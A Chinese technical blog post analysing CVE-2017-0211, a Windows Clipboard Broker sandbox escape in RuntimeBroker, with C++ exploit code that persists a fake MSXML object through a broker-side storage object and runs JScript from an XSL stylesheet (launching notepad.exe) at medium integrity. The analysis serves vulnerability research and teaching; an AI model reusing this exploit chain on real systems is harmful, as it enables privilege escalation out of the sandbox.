RuntimeBroker ClipboardBroker EoP

datetime: 2017.04.28node

 

漏洞簡介

     隨着沙箱技術的普及,如今主流的操做系統及軟件都開始支持沙箱,以此來緩解層出不窮的遠程代碼執行漏洞對系統形成的危害。AppContainer是自Windows 8引入的沙箱技術,最新的UWP應用會強制啓用AppContainner沙箱。
所以,Edge瀏覽器也使用AppContainner做爲沙箱來最大限度保護系統安全。而且微軟還爲Edge瀏覽器加入了更多的緩解機制來進一步增強沙箱。

    傳統的沙箱逃逸每每藉助內核漏洞等來實現權限提高,而Jame Forshaw發現的CVE-2017-0211則利用Windows Runtime的實現缺陷進行沙箱逃逸,最終實現權限提高。此漏洞的原理和利用過程都比較精妙,本文將對此漏洞的原理和利用方法進行分析。windows

 

漏洞原理

    UWP應用是指使用WinRT API開發的Modern UI風格應用程序,WinRT API是微軟自Win8引入的用於應用程序開發的組件集(Windows Runtime Components),它基於COM技術發展而來。在Windows 10上,WinRT組件被註冊成Windows Runtime Class。這些運行時類的相關信息被註冊在Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsRuntime中。全部的UWP應用都強制位於AppContainner沙箱中(Low Integrity),致使其權限受到限制,當其訪問外部資源時都須要經過相應的Broker來進行操做。所以,有許多WinRT組件都位於RuntimeBroker.exe進程(Medium Integrity)中,來實現權限檢查和代理操做。CVE-2017-0211即是因爲Clipboard Broker的設計缺陷致使的權限提高漏洞。瀏覽器

WinRT剪切板訪問的實現

    在Windows系統中,COM接口提供了一種用於在不一樣的應用程序中交換數據(剪切板操做、拖拽操做)的機制,其核心是數據對象Data Object。數據對象Data Object用來表明任何實現了IDataObject接口的對象,基於須要的數據對象或應用場景,開發者能夠在繼承自IDataObject接口的Data Object中實現某些方法。
    WinRT API擴展自COM,所以其內部也使用IDataObject來操做剪切板,所不一樣的是UWP進程對剪切板的訪問請求會被OLE32經過RPC轉發至RuntimeBroker進行處理。同時,爲了阻止UWP進程(Low Integrity)篡改其餘進程設置的剪切板內容,ClipboardBroker還要對UWP進程的SetData行爲進行限制。

    基於以上目的,ClipboardBroker被設計成:
    • 當UWP進程(數據生產者)經過OleSetClipboard() 設置DataObject時,由ClipboardBroker充當代理將DataObject設置到剪切板中;
    • 當UWP進程(數據消費者)經過OleGetClipboard() 請求DataObject時,ClipboardBroker會返回一個封裝對象(DataObject Wrapper——CClipDataObject)。並由ClipboardBroker來做爲代理從數據源(數據生產者)請求數據。
    • 在封裝對象CClipDataObject裏,對SetData作過濾,阻止AppContainer進程設置其餘進程DataObject中的數據,以下圖所示安全

 

 

漏洞成因

    根據ClipboardBroker的實現,它並不返回原始的DataObject給UWP進程(數據消費者),取而代之的是一個封裝對象。所以,對原始DataObject(數據生產者)的任何請求都將由高權限的ClipboardBroker代理髮起。而且,IDataObject::GetDataHere 的輸入參數STGMEDIUM要求由調用者申請,當它是一個Storage對象時,即可以被低權限的UWP進程使用。
    再結合UWP進程能夠設置自定義的DataObject(經過OleSetClipboard()實現),致使攻擊者能夠重用這一系列功能最終實現權限提高。James Forshaw提供的POC的調用分析以下表所示(此表僅做爲漏洞分析記錄,請讀者轉到漏洞利用分析部分閱讀) app

 

漏洞利用

    在這個場景下,漏洞利用過程將經過OleSetClipboard和OleGetClipboard同時扮演數據生產者和數據消費者,從而重用DataObject的功能。函數

建立自定義DataObject

    MyDataObject繼承自IDataObject,主要實現了EnumFormatEtc, GetDataHere兩個方法。
    • EnumFormatEtc用來向數據消費者說明此DataObject支持哪些格式。因爲以後要利用GetDataHere獲取一個Storage對象,所以此處設置成TYMED_ISTORAGE存儲媒介類型。
    • GetDataHere方法是漏洞利用的關鍵代碼,主要完成:利用一個RuntimeBroker中的Storage對象實現任意代碼執行。詳細內容請見下一節。學習

設置DataObject

    建立一個MyDataObject實例,使用它做爲參數調用OleSetClipboard(_In_ LPDATAOBJECT pDataObj );  從而將此MyDataObject設置到剪切板中。
    這個過程主要涉及如下幾個過程:
    • Ole32檢測到當前進程在AppContainer中後,經過調用RuntimeBroker的CRuntimeBroker::GetClipboardBroker獲取一個CClipboardBroker對象指針;並將CClipboardBroker對象指針保存在Tls線程局部存儲區中。
    經過RPC調用RuntimeBroker中的ole32!CClipboardBroker::SetClipboard,將當前MyDataObject設置到剪切板中。
    • RuntimeBroker中的CClipboardBroker::SetClipboard被調用後,首先經過CoImpersonateClient() 模擬數據生產者的身份,打開並清空剪切板,設置關聯到剪切板的窗口屬性;而後將MyDataObject對象設置到剪切板,並經過RPC回調MyDataObject::EnumFormatEtc獲取並設置剪切板格式,經過RPC回調MyDataObject::GetDataHere。最後經過CoRevertToSelf() 結束模擬。(注:因爲存在CoImpersonateClient,所以在MyDataObject::GetDataHere的實現中,會經過_set_clipboard來判斷OleSetClipboard是否已經完成)this

獲取DataObject Wapper

    將MyDataObject設置到剪切板後,就能夠再次扮演數據消費者重用OleGetClipboard(_Out_ LPDATAOBJECT *ppDataObj ); 從而獲取MyDataObject的Wapper,對數據進行「消費「。
RuntimeBroker中的ole32!CClipboardBroker::GetClipboard主要涉及對剪切板數據及格式的獲取,對原始MyDataObject進行封裝,最終會返回給數據消費者一個MyDataObject的Wapper——CClipDataObject。spa

代碼執行

    此時便可扮演數據消費者,調用IDataObject::GetData。這將致使RuntimeBroker中的ole32!CClipDataObject::GetData被調用,最終CClipDataObject::GetData會經過RPC回調至UWP進程中原始的MyDataObject::GetDataHere。因爲GetDataHere的參數FORMATETC已經被指定爲TYMED_ISTORAGE類型,所以STGMEDIUM參數將是一個在RuntimeBroker中建立的Storge對象指針。對IStorge的任何方法調用,都將經過RPC回調至RuntimeBroker中執行。
    在這裏James Forshaw採用了一種很是精妙的利用方法,使用結構化存儲對象Storage實現任意代碼執行。下面將詳細分析整個過程。

    • 函數原型
        GetDataHere(
                /* [annotation][unique][in] */
                _In_  FORMATETC *pformatetc,
                /* [annotation][out][in] */
                _Inout_  STGMEDIUM *pmedium)


    • 經過IStorage::CreateStorage利用RuntimeBroker中的Storage裏建立一個新的可讀可寫的命名("TestStorage")存儲對象——new_stg。相關代碼以下:
        IStorage* stg = pmedium->pstg;
        IStorage* new_stg;
        stg->CreateStorage(L"TestStorage", 2 | 0x1000 | 0x10, 0, 0, &new_stg);


    • 實例化一個自定義的FakeClass類
    FakeClass類繼承自IPersistStream接口,主要重載並實現瞭如下方法:IPersist::GetClassID, IPersistStream::Save, IPersistStream::GetSizeMax。
    其中,IPersist::GetClassID用來指示當前對象是一個XML DOM對象(FakeClass類將假裝成一個XML DOM對象);IPersistStream::Save用於後面經過PropertyBag來持久化FakeClass對象,保存Payload。
    注意,這裏的Payload是一段XSL(Extensible Stylesheet Language)。相關代碼以下:
        FakeClass* c = new FakeClass();
        
        virtual HRESULT STDMETHODCALLTYPE GetClassID(
            /* [out] */ __RPC__out CLSID *pClassID)
        {
            *pClassID = CLSID_MsXmlDomDocument6;
            return S_OK;
        }
        
        virtual HRESULT STDMETHODCALLTYPE Save(
                /* [unique][in] */ __RPC__in_opt IStream *pStm,
                /* [in] */ BOOL fClearDirty)
        {
            const char* xml = "<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='http://mycompany.com/mynamespace'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad.exe'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>";
            Check(pStm->Write(xml, strlen(xml), nullptr));
            return S_OK;
        }
        
        
    • 使用FakeClass對象指針來初始化一個_variant_t
    由於_variant_t重載了"=",因此variant_t v = c; 將致使使用FakeClass對象來初始化_variant_t:初始化_variant_t.vt爲VT_UNKNOWN,_variant_t.punkVal爲IPersistStream。相關代碼以下:
        
        variant_t v = c;
        
        inline _variant_t& _variant_t::operator=(IUnknown* pSrc)
        {
            _COM_ASSERT(V_VT(this) != VT_UNKNOWN || pSrc == NULL || V_UNKNOWN(this) != pSrc);
        
            // Clear VARIANT (This will Release() any previous occupant)
            //
            Clear();
        
            V_VT(this) = VT_UNKNOWN;
            V_UNKNOWN(this) = pSrc;
        
            if (V_UNKNOWN(this) != NULL) {
                // Need the AddRef() as VariantClear() calls Release()
                //
                V_UNKNOWN(this)->AddRef();
            }
        
            return *this;
        }
    

    • 持久化FakeClass(XML DOM對象)到new_stg中
    經過new_stg查詢IPropertyBag接口,並調用IPropertyBag::Write方法,從而將名爲"Hello"的VARIANT屬性(FakeClass對象)寫入PropertyBag。查閱微軟文檔發現,調用者可讓PropertyBag保存VARIANT結構外的其餘類型的對象。當_variant_t.vt爲VT_UNKNOWN時,PropertyBag會查詢被保存對象的持久化接口(這裏是IPersistStream)。隨後調用IPersistMedium::GetClassID獲取CLSID,將其保存到存儲介質上。最後調用IPersistStream::Save方法(即FakeClass重載的Save),將數據寫入PropertyBag。
    持久化操做完成後,調用IStorage::Commit提交針對根存儲對象(即RuntimeBroker中的Storage)的改變。相關代碼以下:
        
        WriteToPropertyBag(new_stg, L"Hello", v);
        new_stg->Commit(STGC_DEFAULT));
        new_stg->Release();
        new_stg = nullptr;
        
        HRESULT WriteToPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
        {
            IPropertyBag* bag;
            HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
            if (SUCCEEDED(hr))
            {
                hr = bag->Write(lpName, &v);
                bag->Release();
            }
        
            return hr;
        }
        
        
    • 當數據被提交到RuntimeBroker中的Storage後,再次利用IPropertyBag接口,將名爲"Hello"的FakeClass對象(XML DOM對象)讀取出來。
        variant_t v2;
        v2.vt = VT_UNKNOWN;
        ReadFromPropertyBag(new_stg, L"Hello", v2);
        
        HRESULT ReadFromPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
        {
            IPropertyBag* bag;
        
            HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
            if (SUCCEEDED(hr))
            {
                hr = bag->Read(lpName, &v, nullptr);
                bag->Release();
            }
        
            return hr;
        }
        
        
    • 任意代碼執行
    經過QueryInterface取回IXMLDOMDocument3接口指針。
    調用IXMLDOMDocument2::setProperty來設置DOM對象的AllowXsltScript屬性,從而開啓XSL 轉換(Extensible Stylesheet Language Transform, XSLT)時「<msxsl:script>」標籤的執行功能。
    一切就緒後,調用IXMLDOMNode::transformNode,執行這段XSL轉換,最終致使「<msxsl:script>」標籤中的JScript被執行。
        v2.punkVal->QueryInterface(&doc)
        variant_t true_var(true);
        doc->setProperty(bstr_t(L"AllowXsltScript"), true_var)
        bstr_t result;
        doc->transformNode(doc, result.GetAddress());
          操作系統

總結

    整個漏洞緣由和利用分析完畢後,能夠看到此漏洞的關鍵點在於Clipboard Broker爲了保護剪切板數據不被篡改,從而給原始的DataObject進行了封裝。而這種封裝將致使原始的DataObject永遠不會被序列化到數據消費者進程空間內,使得對IDataObject的任何調用,都會由高權限的Clipboard Broker代理進行。所以,當原始的對象中存在敏感操做時,就可能會被攻擊者所重用。最終形成權限提高。
    對於這個漏洞還須要注意的是,James Forshaw利用一個可控的Storage對象實現了代碼執行。整個利用思路值得學習。

Reference

https://bugs.chromium.org/p/project-zero/issues/detail?id=1079

 

附錄-剪切板小結

    小結一下Desktop App和UWP App訪問剪切板的方式。

普通應用如何訪問剪切板

    傳統的桌面應用程序(Desktop App)能夠經過兩種方式訪問剪切板:1. Win32 API;  2. Data Transfer Interfaces

Win32 API

    寫剪切板的通常步驟:
    1. OpenClipboard()
    2. EmptyClipboard()
    3. SetClipboardData(CF_TEXT,hClipboardData)
    4. CloseClipboard()

    讀剪切板的通常步驟:
    1. OpenClipboard()
    2. GetClipboardData(CF_TEXT)
    3. CloseClipboard()

https://msdn.microsoft.com/en-us/library/windows/desktop/ff468800(v=vs.85).aspx
https://www.codeproject.com/Articles/2242/Using-the-Clipboard-Part-I-Transferring-Simple-Tex

Data Transfer Interfaces

    Data Transfer Interfaces自己是Win32 API的封裝,核心是IDataObject,在這個基礎上經過剪切板實現了生產者和消費者的數據傳輸(剪切板數據交互、文件拖拽等功能)。下表列舉了不一樣數據傳輸場景下須要使用的接口:


 

    寫剪切板的通常步驟:
    1. Create IDataObject Instance
    2. OleSetClipboard() to pass a data-object pointer to OLE to place the IDataObject pointer onto the clipboard.
    3. OleFlushClipboard()

    讀剪切板的通常步驟:
    1. OleGetClipboard() to get the data-object pointer
    2. (RPC) IDataObject::EnumFormatEtc()
    3. (RPC) IDataObject::GetData

https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx

 

UWP如何訪問剪切板

    對於須要訪問剪切板的UWP應用(UWP App/Modern App)來講,對應的WinRT API命名空間是Windows.ApplicationModel.DataTransfer。

    寫剪切板的通常步驟:
    1. 建立一個DataPackage對象
    2. 將數據設置到DataPackage 對象中
    3. 使用Clipboard:: SetContent(DataPackage content)將DataPackage對象包含的數據設置到剪切板中。

    讀剪切板的通常步驟:
    1. 調用Clipboard::GetContent()返回一個DataPackageView對象
    2. 經過DataPackageView的方法讀取數據內容

    數據又是如何寫進剪切板的呢?逆向分析Clipboard:: SetContent的實現,其步驟以下圖所示:


 

    1. 調用參數DataPackage的GetView方法,獲取一個只讀的DataPackageView對象。實際上DataPackageView對象是一個實現了IDataObject的Data Object。    2. 將DataPackageView做爲參數,調用OleSetClipboard(DataPackageView),最終RuntimeBroker中的CClipboardBroker會將數據寫進剪切板    由上面的過程咱們能夠獲得結論:Windows.ApplicationModel.DataTransfer其實是Data Transfer Interfaces的封裝,內部同樣使用IDataObject實現剪切板訪問或拖拽功能;

相關文章
相關標籤/搜索